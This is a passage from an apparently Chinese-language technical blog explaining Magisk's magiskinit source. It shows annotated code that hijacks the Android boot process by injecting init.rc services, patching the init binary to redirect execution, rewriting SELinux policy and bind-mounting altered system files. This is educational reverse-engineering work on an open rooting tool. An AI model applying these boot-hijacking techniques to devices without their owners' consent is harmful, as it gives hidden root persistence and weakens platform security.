class="string">"/sbin"</span>, <span class="literal">nullptr</span>, MS_MOVE, <span class="literal">nullptr</span>);</span><br><span class="line"> xumount2(PRE_TMPSRC, MNT_DETACH);</span><br><span class="line"> rmdir(PRE_TMPDIR);</span><br><span class="line"> rmdir(PRE_TMPSRC);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create symlinks pointing back to /root</span></span><br><span class="line"> <span class="comment">/** 恢复 sbin 里原本就有的文件 **/</span></span><br><span class="line"> recreate_sbin(<span class="string">"/root"</span>, <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Tell magiskd to remount rootfs</span></span><br><span class="line"> setenv(<span class="string">"REMOUNT_ROOT"</span>, <span class="string">"1"</span>, <span class="number">1</span>);</span><br><span class="line"> <span class="comment">/** 带上参数运行真正的 magisk32/magisk64 **/</span></span><br><span class="line"> execv(<span class="string">"/sbin/magisk"</span>, argv);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>patch_rc_scripts()</code> 里最重要的就是把这段 rc 脚本注入进了 init.rc,使得 init 会在系统开机过程中自动执行 magisk:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">on post-fs-data</span><br><span class="line"> start logd</span><br><span class="line"> exec %2$s 0 0 -- %1$s/magisk --post-fs-data</span><br><span class="line"></span><br><span class="line">on property:vold.decrypt=trigger_restart_framework</span><br><span class="line"> exec %2$s 0 0 -- %1$s/magisk --service</span><br><span class="line"></span><br><span class="line">on nonencrypted</span><br><span class="line"> exec %2$s 0 0 -- %1$s/magisk --service</span><br><span class="line"></span><br><span class="line">on property:sys.boot_completed=1</span><br><span class="line"> exec %2$s 0 0 -- %1$s/magisk --boot-complete</span><br><span class="line"></span><br><span class="line">on property:init.svc.zygote=stopped</span><br><span class="line"> exec %2$s 0 0 -- %1$s/magisk --zygote-restart</span><br></pre></td></tr></table></figure><p>对 init.rc 语法规则不熟的同学,可以参考 <a href="https://android.googlesource.com/platform/system/core/+/master/init/README.md" target="_blank" rel="noopener">Android Init Language</a></p><p>整个逻辑还是比较清晰的,忽略一些过于内部的细节,大概如下所示:</p><ol><li>kernel 执行 init,magiskinit 被运行,检测系统环境,进入 RootFSInit</li><li>修补 init.rc,注入我们的代码</li><li>初始化 magisk 内部要用到的 tmpfs</li><li>修补 sepolicy,注入我们的规则(细节后面再谈)</li><li>把 magiskinit 复制到 /sbin/magisk,这样 init 第一次执行 magisk 时会进入 <code>magisk_proxy_main()</code> 做剩余工作</li><li>执行系统原来的 init,继续开机流程</li><li>init 会解析并执行 init.rc,运行 magisk,这个时候运行的其实是 magiskinit,进入 <code>magisk_proxy_main()</code></li><li>把 /sbin 用作 magisk internal tmpfs,然后因为我们 mount 了 tmpfs 在 sbin 上,要把里面本来就有的文件恢复出来要不然就没了</li><li>运行真正的 magisk32/magisk64</li></ol><h3 id="Modern-2SI"><a href="#Modern-2SI" class="headerlink" title="Modern 2SI"></a>Modern 2SI</h3><p>由于劫持 Legacy SAR 的启动过程过于复杂且存在太多种情况,我们先讲 Modern 2SI。</p><p>劫持 Modern 2SI 启动过程的难点在于:由于一阶段 init 来自 boot.img 内 ramdisk,所以 magiskinit 会被执行;但是,一旦运行原来的 init,她就会挂载 /system、switch root 到 /system,我们对原来 rootfs 所做的修改 全 部 木 大。而 init 一阶段运行时,/system 还未被挂载,直接对 /system 做修改也行不通。所以我们必须找到一种方法,在 init 挂载 /system 之后做修改,且 /system 往往是 read-only 的,由于 system.img 可能是 <a href="https://twitter.com/topjohnwu/status/1170404631865778177?s=19" target="_blank" rel="noopener">de-duplicate 过的 ext4</a> 或者干脆就是 EROFS,也不可能将其 remount 为 read-write,任何方式直接修改都行不通,只能用 bind-mount 这种方法变相修改。</p><p>我们注意到,init 在 switch root 之前,会把现在的 mounts (除了 / 和 /system 本身)给 move 到新的 root 下面,然后再 switch root(具体代码可见<a href="http://aospxref.com/android-10.0.0_r47/xref/system/core/init/switch_root.cpp#80" target="_blank" rel="noopener">这里</a>)。通过利用这个特性,我们似乎可以让我们的某些东西在 switch root 之后仍然保留下来,但是怎么利用呢?</p><p>我们还是来看看 magiskinit 的代码吧。magiskinit 的基本思想是,first stage 做一些 hack,执行原本的 init 让它为我们挂载 /system 并 switch root,然后通过前面做的 hack 想办法让 init 再次触发自己。也就是说,类似 2SI,它也是分两步走的。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/***************</span></span><br><span class="line"><span class="comment"> * 2 Stage Init</span></span><br><span class="line"><span class="comment"> ***************/</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FirstStageInit</span> :</span> <span class="keyword">public</span> BaseInit {</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">prepare</span><span class="params">()</span></span>;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> FirstStageInit(<span class="keyword">char</span> *argv[], BootConfig *config) : BaseInit(argv, config) {</span><br><span class="line"> LOGD(<span class="string">"%s\n"</span>, __FUNCTION__);</span><br><span class="line"> };</span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">start</span><span class="params">()</span> override </span>{</span><br><span class="line"> prepare();</span><br><span class="line"> exec_init();</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SecondStageInit</span> :</span> <span class="keyword">public</span> MagiskInit {</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"> <span class="function"><span class="keyword">bool</span> <span class="title">prepare</span><span class="params">()</span></span>;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> SecondStageInit(<span class="keyword">char</span> *argv[]) : MagiskInit(argv) {</span><br><span class="line"> LOGD(<span class="string">"%s\n"</span>, __FUNCTION__);</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">start</span><span class="params">()</span> override </span>{</span><br><span class="line"> <span class="keyword">bool</span> is_rootfs = prepare();</span><br><span class="line"> <span class="keyword">if</span> (is_rootfs)</span><br><span class="line"> patch_rw_root();</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> patch_ro_root();</span><br><span class="line"> exec_init();</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>FirstStageInit 的 prepare 非常简单:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">#define INIT_PATH "/system/bin/init"</span><br><span class="line">#define REDIR_PATH "/data/magiskinit"</span><br><span class="line"></span><br><span class="line">void FirstStageInit::prepare() {</span><br><span class="line"> prepare_data();</span><br><span class="line"> restore_ramdisk_init();</span><br><span class="line"> auto init = mmap_data("/init", true);</span><br><span class="line"> // Redirect original init to magiskinit</span><br><span class="line"> for (size_t off : init.patch(INIT_PATH, REDIR_PATH)) {</span><br><span class="line"> LOGD("Patch @ %08zX [" INIT_PATH "] -> [" REDIR_PATH "]\n", off);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个函数做了什么呢?首先,<code>prepare_data()</code> 给 /data 挂上了 tmpfs,释放文件到 /data,把 magiskinit 复制到 /data/magiskinit;接着将原本 init 里的 <code>/system/bin/init</code> patch 成了 <code>/data/magiskinit</code>。</p><p>为什么可以这样做呢?还是得看回上面的特性。我们知道,switch root 前的 mount 会保留到 switch root 之后,所以可以用这种方法保留某些东西;但是,mount 要求目标文件(夹)必须存在,而 /system 并不可写,所以自己 mkdir 一个文件夹,mount tmpfs 然后指望 init 帮我们 move mount 的做法行不通。为了保留某些东西,我们必须选一个 init first stage 到 selinux_setup 期间都不会被使用到的文件夹来帮我们放东西,而 magisk 选择的是 /data。这让 patch init 使得 init 执行 /system/bin/init 进行 selinux_setup 时转为执行 magiskinit。</p><p>第二阶段的代码:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">bool</span> SecondStageInit::prepare() {</span><br><span class="line"> <span class="comment">/** 这一行 unmount 是给 Legacy SAR with 2SI 使用的 **/</span></span><br><span class="line"> umount2(<span class="string">"/init"</span>, MNT_DETACH);</span><br><span class="line"> unlink(<span class="string">"/data/init"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Make sure init dmesg logs won't get messed up</span></span><br><span class="line"> argv[<span class="number">0</span>] = (<span class="keyword">char</span> *) INIT_PATH;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Some weird devices like meizu, uses 2SI but still have legacy rootfs</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">statfs</span> <span class="title">sfs</span>{</span>};</span><br><span class="line"> statfs(<span class="string">"/"</span>, &sfs);</span><br><span class="line"> <span class="comment">/** 魅族设备的 2SI 不会 switch root,所以依然在 rootfs,需要判断这种特殊情况 **/</span></span><br><span class="line"> <span class="keyword">if</span> (sfs.f_type == RAMFS_MAGIC || sfs.f_type == TMPFS_MAGIC) {</span><br><span class="line"> <span class="comment">// We are still on rootfs, so make sure we will execute the init of the 2nd stage</span></span><br><span class="line"> unlink(<span class="string">"/init"</span>);</span><br><span class="line"> xsymlink(INIT_PATH, <span class="string">"/init"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ROOTMIR MIRRDIR <span class="meta-string">"/system_root"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> NEW_INITRC_DIR <span class="meta-string">"/system/etc/init/hw"</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> MagiskInit::patch_ro_root() {</span><br><span class="line"> mount_list.emplace_back(<span class="string">"/data"</span>);</span><br><span class="line"> parse_config_file();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** Android 11+ sbin 可能不存在,使用 /debug_ramdisk 代替 **/</span></span><br><span class="line"> <span class="built_in">string</span> tmp_dir;</span><br><span class="line"> <span class="keyword">if</span> (access(<span class="string">"/sbin"</span>, F_OK) == <span class="number">0</span>) {</span><br><span class="line"> tmp_dir = <span class="string">"/sbin"</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> tmp_dir = <span class="string">"/debug_ramdisk"</span>;</span><br><span class="line"> xmkdir(<span class="string">"/data/debug_ramdisk"</span>, <span class="number">0</span>);</span><br><span class="line"> xmount(<span class="string">"/debug_ramdisk"</span>, <span class="string">"/data/debug_ramdisk"</span>, <span class="literal">nullptr</span>, MS_MOVE, <span class="literal">nullptr</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** 初始化 magisk internal tmpfs **/</span></span><br><span class="line"> setup_tmp(tmp_dir.data());</span><br><span class="line"> chdir(tmp_dir.data());</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (tmp_dir == <span class="string">"/sbin"</span>) {</span><br><span class="line"> <span class="comment">// Recreate original sbin structure</span></span><br><span class="line"> xmkdir(ROOTMIR, <span class="number">0755</span>);</span><br><span class="line"> xmount(<span class="string">"/"</span>, ROOTMIR, <span class="literal">nullptr</span>, MS_BIND, <span class="literal">nullptr</span>);</span><br><span class="line"> recreate_sbin(ROOTMIR <span class="string">"/sbin"</span>, <span class="literal">true</span>);</span><br><span class="line"> xumount2(ROOTMIR, MNT_DETACH);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Restore debug_ramdisk</span></span><br><span class="line"> xmount(<span class="string">"/data/debug_ramdisk"</span>, <span class="string">"/debug_ramdisk"</span>, <span class="literal">nullptr</span>, MS_MOVE, <span class="literal">nullptr</span>);</span><br><span class="line"> rmdir(<span class="string">"/data/debug_ramdisk"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> xrename(<span class="string">"overlay.d"</span>, ROOTOVL);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">extern</span> <span class="keyword">bool</span> avd_hack;</span><br><span class="line"> <span class="comment">// Handle avd hack</span></span><br><span class="line"> <span class="keyword">if</span> (avd_hack) {</span><br><span class="line"> <span class="comment">// Android API 28 AVD 模拟器相关,跳过</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> load_overlay_rc(ROOTOVL);</span><br><span class="line"> <span class="keyword">if</span> (access(ROOTOVL <span class="string">"/sbin"</span>, F_OK) == <span class="number">0</span>) {</span><br><span class="line"> <span class="comment">// Move files in overlay.d/sbin into tmp_dir</span></span><br><span class="line"> mv_path(ROOTOVL <span class="string">"/sbin"</span>, <span class="string">"."</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** 修补 init.rc,注入 magisk 自己的服务 **/</span></span><br><span class="line"> <span class="comment">// Patch init.rc</span></span><br><span class="line"> <span class="keyword">if</span> (access(NEW_INITRC_DIR, F_OK) == <span class="number">0</span>) {</span><br><span class="line"> <span class="comment">// Android 11's new init.rc</span></span><br><span class="line"> patch_rc_scripts(NEW_INITRC_DIR, tmp_dir.data(), <span class="literal">false</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> patch_rc_scripts(<span class="string">"/"</span>, tmp_dir.data(), <span class="literal">false</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Extract magisk</span></span><br><span class="line"> extract_files(<span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** 修补 sepolicy,注入我们的规则 **/</span></span><br><span class="line"> <span class="comment">// Oculus Go will use a special sepolicy if unlocked</span></span><br><span class="line"> <span class="keyword">if</span> (access(<span class="string">"/sepolicy.unlocked"</span>, F_OK) == <span class="number">0</span>) {</span><br><span class="line"> patch_sepolicy(<span class="string">"/sepolicy.unlocked"</span>, ROOTOVL <span class="string">"/sepolicy.unlocked"</span>);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> ((access(SPLIT_PLAT_CIL, F_OK) != <span class="number">0</span> && access(<span class="string">"/sepolicy"</span>, F_OK) == <span class="number">0</span>) ||</span><br><span class="line"> !hijack_sepolicy()) {</span><br><span class="line"> patch_sepolicy(<span class="string">"/sepolicy"</span>, ROOTOVL <span class="string">"/sepolicy"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** 用 bind mount 将需要修改的文件给一个个 mount 上去,这样就实现了不修改真实分区而修改文件 **/</span></span><br><span class="line"> <span class="comment">// Mount rootdir</span></span><br><span class="line"> magic_mount(ROOTOVL);</span><br><span class="line"> <span class="keyword">int</span> dest = xopen(ROOTMNT, O_WRONLY | O_CREAT, <span class="number">0</span>);</span><br><span class="line"> write(dest, magic_mount_list.data(), magic_mount_list.length());</span><br><span class="line"> close(dest);</span><br><span class="line"></span><br><span class="line"> chdir(<span class="string">"/"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>大致逻辑还是差不多的,只不过多了一些不同系统的处理(比如魅族设备需要特殊处理,这里因为 rootfs 仍然可写所以直接走 rootfs 逻辑就好了),还有由于 switch root 后 <code>/</code> 并不可写,所以所有对文件的修改都是先把修改过的文件放在 magisk internal tmpfs 内,然后 bind mount 到它原始的路径。<br>大致流程为:</p><ol><li>kernel 执行 init,magiskinit 被运行,检测系统环境,判断为 2SI 设备第一阶段,进入 FirstStageInit</li><li>挂载 /data 为 tmpfs,释放 /data/magiskinit</li><li>修补原始 init,重定向 /system/bin/init 到 /data/magiskinit,然后执行原始 init</li><li>原始 init 会挂载 /system 然后 switch root 进去,接下来它执行 <del>/system/bin/init</del>(被我们 patch 了所以会执行 /data/magiskinit)进行 selinux_setup</li><li>magiskinit 被再次执行,看见 selinux_setup 知道这是二阶段,switch root 已经完成,开始 <code>patch_ro_root()</code></li><li>修补 init.rc,注入我们的代码</li><li>修补 sepolicy,注入我们的规则(细节后面再谈)</li><li>利用 bind mount 替换 所有需要修改的文件</li><li>执行系统原来的 init,继续开机流程</li><li>init 会解析并执行 init.rc,运行 magisk</li></ol><h3 id="Legacy-SAR"><a href="#Legacy-SAR" class="headerlink" title="Legacy SAR"></a>Legacy SAR</h3><p>终于讲到 Legacy SAR 这个坑人的玩意了。。。<br>这玩意坑人的地方在于:</p><ol><li>boot.img 内 ramdisk 正常情况不会用到,magiskinit 根本没机会执行。对于 A/B 设备,boot 里放着的是 recovery ramdisk,bootloader 通过向内核传递 <code>skip_initramfs</code> 来让内核知道该不该挂载 initramfs。Magisk 的解决办法是,安装的时候 patch 一下内核,把 <code>skip_initramfs</code> patch 成别的东西这样内核就认不出来 bootloader 传的是什么了,然后就会乖乖的挂载 initramfs。但对于 A-only 设备,boot.img 里根本没有 ramdisk,就算手动加一个 ramdisk,bootloader 也很有可能并不识别它,根本没办法插一脚。Magisk 表示臣妾无能为力,patch recovery.img 然后每次都重启到 recovery 用吧,要不然我也插不进去啊~</li><li>即使我们成功把 init 偷梁换柱成了 magiskinit,<code>/</code> 也是 system.img,写不了,很难干活。</li></ol><p>来看看 magiskinit 的代码吧:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*************</span></span><br><span class="line"><span class="comment"> * Legacy SAR</span></span><br><span class="line"><span class="comment"> *************/</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">LegacySARInit</span> :</span> <span class="keyword">public</span> MagiskInit {</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"> <span class="function"><span class="keyword">bool</span> <span class="title">mount_system_root</span><span class="params">()</span></span>;</span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">first_stage_prep</span><span class="params">()</span></span>;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> LegacySARInit(<span class="keyword">char</span> *argv[], BootConfig *config) : MagiskInit(argv, config) {</span><br><span class="line"> LOGD(<span class="string">"%s\n"</span>, __FUNCTION__);</span><br><span class="line"> };</span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">start</span><span class="params">()</span> override </span>{</span><br><span class="line"> prepare_data();</span><br><span class="line"> <span class="keyword">bool</span> is_two_stage = mount_system_root();</span><br><span class="line"> <span class="keyword">if</span> (is_two_stage)</span><br><span class="line"> first_stage_prep();</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> patch_ro_root();</span><br><span class="line"> exec_init();</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">bool</span> LegacySARInit::mount_system_root() {</span><br><span class="line"> LOGD(<span class="string">"Mounting system_root\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// there's no /dev in stub cpio</span></span><br><span class="line"> xmkdir(<span class="string">"/dev"</span>, <span class="number">0777</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">strcpy</span>(blk_info.block_dev, <span class="string">"/dev/root"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> <span class="comment">// Try legacy SAR dm-verity</span></span><br><span class="line"> <span class="built_in">strcpy</span>(blk_info.partname, <span class="string">"vroot"</span>);</span><br><span class="line"> <span class="keyword">auto</span> dev = setup_block();</span><br><span class="line"> <span class="keyword">if</span> (dev > <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">goto</span> mount_root;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Try NVIDIA naming scheme</span></span><br><span class="line"> <span class="built_in">strcpy</span>(blk_info.partname, <span class="string">"APP"</span>);</span><br><span class="line"> dev = setup_block();</span><br><span class="line"> <span class="keyword">if</span> (dev > <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">goto</span> mount_root;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">sprintf</span>(blk_info.partname, <span class="string">"system%s"</span>, config->slot);</span><br><span class="line"> dev = setup_block();</span><br><span class="line"> <span class="keyword">if</span> (dev > <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">goto</span> mount_root;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Poll forever if rootwait was given in cmdline</span></span><br><span class="line"> } <span class="keyword">while</span> (config->rootwait);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// We don't really know what to do at this point...</span></span><br><span class="line"> LOGE(<span class="string">"Cannot find root partition, abort\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">mount_root:</span><br><span class="line"> xmkdir(<span class="string">"/system_root"</span>, <span class="number">0755</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (xmount(<span class="string">"/dev/root"</span>, <span class="string">"/system_root"</span>, <span class="string">"ext4"</span>, MS_RDONLY, <span class="literal">nullptr</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (xmount(<span class="string">"/dev/root"</span>, <span class="string">"/system_root"</span>, <span class="string">"erofs"</span>, MS_RDONLY, <span class="literal">nullptr</span>)) {</span><br><span class="line"> <span class="comment">// We don't really know what to do at this point...</span></span><br><span class="line"> LOGE(<span class="string">"Cannot mount root partition, abort\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> switch_root(<span class="string">"/system_root"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Make dev writable</span></span><br><span class="line"> xmount(<span class="string">"tmpfs"</span>, <span class="string">"/dev"</span>, <span class="string">"tmpfs"</span>, <span class="number">0</span>, <span class="string">"mode=755"</span>);</span><br><span class="line"> mount_list.emplace_back(<span class="string">"/dev"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Use the apex folder to determine whether 2SI (Android 10+)</span></span><br><span class="line"> <span class="keyword">bool</span> is_two_stage = access(<span class="string">"/apex"</span>, F_OK) == <span class="number">0</span>;</span><br><span class="line"> LOGD(<span class="string">"is_two_stage: [%d]\n"</span>, is_two_stage);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// For API 28 AVD, it uses legacy SAR setup that requires</span></span><br><span class="line"> <span class="comment">// special hacks in magiskinit to work properly.</span></span><br><span class="line"> <span class="keyword">if</span> (!is_two_stage && config->emulator) {</span><br><span class="line"> <span class="comment">// AVD,不重要</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> is_two_stage;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> LegacySARInit::first_stage_prep() {</span><br><span class="line"> <span class="comment">// Patch init binary</span></span><br><span class="line"> <span class="keyword">int</span> src = xopen(<span class="string">"/init"</span>, O_RDONLY);</span><br><span class="line"> <span class="keyword">int</span> dest = xopen(<span class="string">"/data/init"</span>, O_CREAT | O_WRONLY, <span class="number">0</span>);</span><br><span class="line"> {</span><br><span class="line"> <span class="function">mmap_data <span class="title">init</span><span class="params">(<span class="string">"/init"</span>)</span></span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">size_t</span> off : init.patch(INIT_PATH, REDIR_PATH)) {</span><br><span class="line"> LOGD(<span class="string">"Patch @ %08zX ["</span> INIT_PATH <span class="string">"] -> ["</span> REDIR_PATH <span class="string">"]\n"</span>, off);</span><br><span class="line"> }</span><br><span class="line"> write(dest, init.buf(), init.sz());</span><br><span class="line"> fclone_attr(src, dest);</span><br><span class="line"> close(dest);</span><br><span class="line"> close(src);</span><br><span class="line"> }</span><br><span class="line"> xmount(<span class="string">"/data/init"</span>, <span class="string">"/init"</span>, <span class="literal">nullptr</span>, MS_BIND, <span class="literal">nullptr</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>总结如下:</p><ol><li>magiskinit 被运行,检测系统环境,判断为 Legacy SAR,进入 LegacySARInit</li><li>因为 kernel 